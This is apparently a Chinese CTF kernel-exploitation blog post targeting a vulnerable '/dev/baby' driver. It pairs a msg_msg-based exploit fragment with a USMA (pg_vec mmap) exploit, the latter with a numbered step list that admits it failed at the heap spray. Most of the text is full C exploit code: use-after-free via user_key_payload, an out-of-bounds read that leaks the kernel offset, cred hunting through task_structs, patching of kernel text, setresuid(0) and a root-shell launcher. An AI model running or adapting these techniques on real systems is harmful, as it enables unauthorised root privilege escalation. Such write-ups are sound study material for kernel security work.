//      binary_dump("OOB data", msg_msg, 0x1000);kernel_offset = -1;int vim_qid = -1;for (int i = 0; i < 0x1000 / 8; i++){size_t addr = *(size_t*)(msg_buffer+i*8);if (kernel_offset == -1){kernel_offset = leak_offset(addr);}if (vim_qid == -1 && addr == 0xAAAABBBBCCCCDDDD){vim_qid = *(int*)(msg_buffer+i*8+8);}if (kernel_offset != -1 && vim_qid != -1) break;}if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");hexx("kernel_offset", kernel_offset);if (vim_qid == -1) err_exit("FAILED to hit victim msg");hexx("victim msg queue idx", vim_qid);memset(msg_buffer, 'A', sizeof(msg_buffer));msg_msg->m_type = 2;if (msgsnd(msg_idx[vim_qid], msg_msg, 0x2000-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");memset(msg_buffer, 0, sizeof(msg_buffer));res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0) err_exit("FAILED to OOR msg");hexx("msgrcv data len", res);
//      binary_dump("OOB data", msg_msg, 0x1000);for (int i = 0; i < 0x1000 / 8; i++){size_t addr = *(size_t*)(msg_buffer+i*8);size_t idx = *(int*)(msg_buffer+i*8+8);if (addr == 0xAAAABBBBCCCCDDDD && idx == vim_qid){ll_next = *(uint64_t*)(msg_buffer+i*8-0x30);ll_prev = *(uint64_t*)(msg_buffer+i*8-0x28);}}if (ll_next == -1 || ll_prev == -1)err_exit("FAILED to leak msg_seg addr");hexx("ll_next", ll_next);hexx("ll_prev", ll_prev);size_t tasks_off = 0x298;size_t pid_off = 0x398;size_t cred_off = 0x540;size_t init_task = 0xffffffff81c124c0 + kernel_offset;memset(buf, 0, sizeof(buf));struct msg_header* mh = (struct msg_header*)buf;mh->l_next = 0;mh->l_prev = 0;mh->m_type = 1;mh->m_ts = 0x2000-0x30-8;mh->security = 0;size_t real_pid = getpid();size_t cur_task = init_task;size_t cur_cred = 0;uint64_t* task_task = NULL;hexx("real_pid", real_pid);while (1){mh->next = (void*)(cur_task - 8);edit(0, buf);memset(msg_buffer, 0, sizeof(msg_buffer));res = msgrcv(qid, msg_msg, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x2000-0x30-8) err_exit("FAILED to OOR meg_segment");task_task = (uint64_t*)(msg_msg->m_text+0x1000-0x30);hexx("cur pid", task_task[pid_off/8]&0xffffffff);if (real_pid == (task_task[pid_off/8]&0xffffffff)){//binary_dump("current task_struct", msg_buffer+0x1000, 0x1000);cur_cred = task_task[cred_off/8];break;}cur_task = task_task[tasks_off/8+1] - tasks_off;}hexx("cur_task", cur_task);hexx("cur_cred", cur_cred);cred_cred = cur_cred;res = msgrcv(msg_idx[vim_qid], msg_msg, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);hexx("msgrcv to free", res);res = msgrcv(msg_idx[vim_qid], msg_msg, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);hexx("msgrcv to free", res);pthread_t th1, th2;res = pthread_create(&th1, NULL, thread_handler1, NULL);if (res != 0) err_exit("FAILED to create a new thread");res = pthread_create(&th2, NULL, thread_handler2, NULL);if (res != 0) err_exit("FAILED to create a new thread");pthread_join(th1, NULL);pthread_join(th2, NULL);hexx("UID", getuid());system("/bin/sh");
//      puts("[+] debugger");
//      add(20);puts("[X] Never EXP END");return 0;
}

效果如下:

USMA -- 并没有成功提权

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 user_key_payload 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 user_key_payload;并 key_revoke 释放 user_key_payload

5)UAF 修改 UAF user_key_payload 的 datalen 实现越界读

6)user_key_payload 越界读泄漏 kernel_offset

7)key_revoke 释放 user_key_payload

---- 第8步就失败了-------------------------------------------------------------------------------------

8)堆喷 pgv 占据 UAF obj 《======= 失败,无法堆喷 pgv

9)UAF 修改 pg_vec 数组中的 pgv 地址为内核代码段地址

10)mmap 将内核代码段地址映射到用户空间,从而直接修改硬编码

exp 如下:虽然如此,但笔者认为其是一个不错的思路

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct note {int func_idx;int no_use0;uint64_t tag;char* ptr;uint64_t no_use1;
};int fd;
void add(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1001, &n);
}void dele(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1003, &n);
}void edit(uint64_t tag, char* buf)
{struct note n = { .tag = tag, .ptr = buf };ioctl(fd, 0x1002, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}void unshare_setup(void)
{char edit[0x100];int tmp_fd;if (unshare(CLONE_NEWNET))//CLONE_NEWNS))// | CLONE_NEWUSER | CLONE_NEWNET)){perror("[X] ERROR unshare");exit(EXIT_FAILURE);}tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endifvoid packet_socket_rx_ring_init(int s, unsigned int block_size,unsigned int frame_size, unsigned int block_nr,unsigned int sizeof_priv, unsigned int timeout) {int v = TPACKET_V3;int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);struct tpacket_req3 req;memset(&req, 0, sizeof(req));req.tp_block_size = block_size;req.tp_frame_size = frame_size;req.tp_block_nr = block_nr;req.tp_frame_nr = (block_size * block_nr) / frame_size;req.tp_retire_blk_tov = timeout;req.tp_sizeof_priv = sizeof_priv;req.tp_feature_req_word = 0;rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,unsigned int block_nr, unsigned int sizeof_priv, int timeout) {int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (s < 0) perror("[X] socket(AF_PACKET)"), exit(-1);packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);struct sockaddr_ll sa;memset(&sa, 0, sizeof(sa));sa.sll_family = PF_PACKET;sa.sll_protocol = htons(ETH_P_ALL);sa.sll_ifindex = if_nametoindex("lo");sa.sll_hatype = 0;sa.sll_pkttype = 0;sa.sll_halen = 0;int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {return packet_socket_setup(size, 2048, count, 0, 100);
}#define KEY_SPRAY_NUMS 0x20
#define SPARY_PAGE_NUMS 0x1int main(int argc, char** argv, char** env)
{//bind_core(0);//save_status();int pipe_fd[2];pipe(pipe_fd);pid_t pid = fork();if (!pid){unshare_setup();char desc[8];char buf[0x1000];int key_id;int key_tmp[KEY_SPRAY_NUMS];size_t kernel_offset;size_t modprobe_path;fd = open("/dev/baby", O_RDONLY);if (fd < 0) err_exit("FAILED to open dev file");memset(buf, 'A', sizeof(buf));puts("[+] ==> START <==");add(0); // 0add(1); // 1add(3); // 3add(7); // 7dele(0);key_id = key_alloc("Pwner", buf, 17);if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");for (int i = 0; i < KEY_SPRAY_NUMS; i++){sprintf(desc, "%s%d", "Pwner", i);key_tmp[i] = key_alloc(desc, buf, 17);if (key_tmp[i] < 0) err_exit("FAILED to key_alloc to spary");}add(15); // 15for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_revoke(key_tmp[i]);memset(buf, 0, sizeof(buf));*(uint64_t*)buf = 0;*(uint64_t*)(buf+8) = 0;*(uint64_t*)(buf+16) = 0xf00;edit(0, buf);memset(buf, 0, sizeof(buf));kernel_offset = -1;int res = key_read(key_id, buf, 0xf00);hexx("res", res);//binary_dump("OOB_READ DATA", buf, 0xf00);for (int i = 0; i < 0xf00 / 8; i++){if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xf90){kernel_offset = *(uint64_t*)(buf+i*8) - 0xffffffff811a3f90;break;}}//      for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_unlink(key_tmp[i]);if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");modprobe_path = kernel_offset + 0xffffffff81c337a0;hexx("kernel_offset", kernel_offset);hexx("modprobe_path", modprobe_path);key_revoke(key_id);char* page;int page_idx[SPARY_PAGE_NUMS];for (int i = 0; i < SPARY_PAGE_NUMS; i++){page_idx[i] = pagealloc_pad(8, 4096);}for (int i = 0; i < 0x30 / 8; i++){*(uint64_t*)(buf+i*8) = 0xFFFFFFFF81091000 + kernel_offset;}for (int i = 0; i < SPARY_PAGE_NUMS; i++){page = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, page_idx[i], 0);page[0x570] = 0xeb;}puts("[+] Child Process END");//add(1);write(pipe_fd[1], "A", 1);} else if (pid < 0) {err_exit("FAILED to fork");} else {char buf[1];read(pipe_fd[0], buf, 1);setresuid(0, 0, 0);hexx("UID", getuid());get_root_shell();}return 0;
}

相关文章:

  • Linux查看计算机处理器相关的信息
  • 在oracle中的scn技术
  • C/C++ 发送与接收HTTP/S请求
  • ChatGPT 问世一周年之际,开源大模型能否迎头赶上?
  • NoSQL 数据建模错误会降低性能
  • Linux: FS: inotify
  • matlab 计算两点云之间的放缩倍数
  • python+Qt5+sqllite 个性化单词记忆软件设计
  • 水库监管AI视觉算法与边缘计算盒子
  • 通过查看ThreadLocal的源码进行简单理解
  • Unittest单元测试之unittest用例执行顺序
  • 机器学习笔记 - 基于百度飞桨PaddleSeg的人体分割模型以及TensorRT部署说明
  • 【C++初阶(十)】set、map、multiset、multimap的介绍及使用
  • 【Qt】获取当前系统用户名:9种获取方式
  • 有趣的小算法
  • hexo+github搭建个人博客
  • python3.6+scrapy+mysql 爬虫实战
  • Angularjs之国际化
  • CODING 缺陷管理功能正式开始公测
  • nodejs实现webservice问题总结
  • Vim 折腾记
  • Vue全家桶实现一个Web App
  • 大整数乘法-表格法
  • 对超线程几个不同角度的解释
  • 翻译--Thinking in React
  • 计算机常识 - 收藏集 - 掘金
  • 聚类分析——Kmeans
  • 吴恩达Deep Learning课程练习题参考答案——R语言版
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • (3)llvm ir转换过程
  • (C#)Windows Shell 外壳编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令...
  • (done) 两个矩阵 “相似” 是什么意思?
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (Ruby)Ubuntu12.04安装Rails环境
  • (附表设计)不是我吹!超级全面的权限系统设计方案面世了
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第3章 信息系统治理(一)
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (原創) 如何解决make kernel时『clock skew detected』的warning? (OS) (Linux)
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)可以带来幸福的一本书
  • (转载)hibernate缓存
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • ./configure、make、make install 命令
  • .NET CF命令行调试器MDbg入门(一)
  • .NET delegate 委托 、 Event 事件,接口回调
  • .NET NPOI导出Excel详解
  • .Net 访问电子邮箱-LumiSoft.Net,好用
  • .NET 使用 ILMerge 合并多个程序集,避免引入额外的依赖
  • .NET/C# 判断某个类是否是泛型类型或泛型接口的子类型
  • .net流程开发平台的一些难点(1)
  • .Net面试题4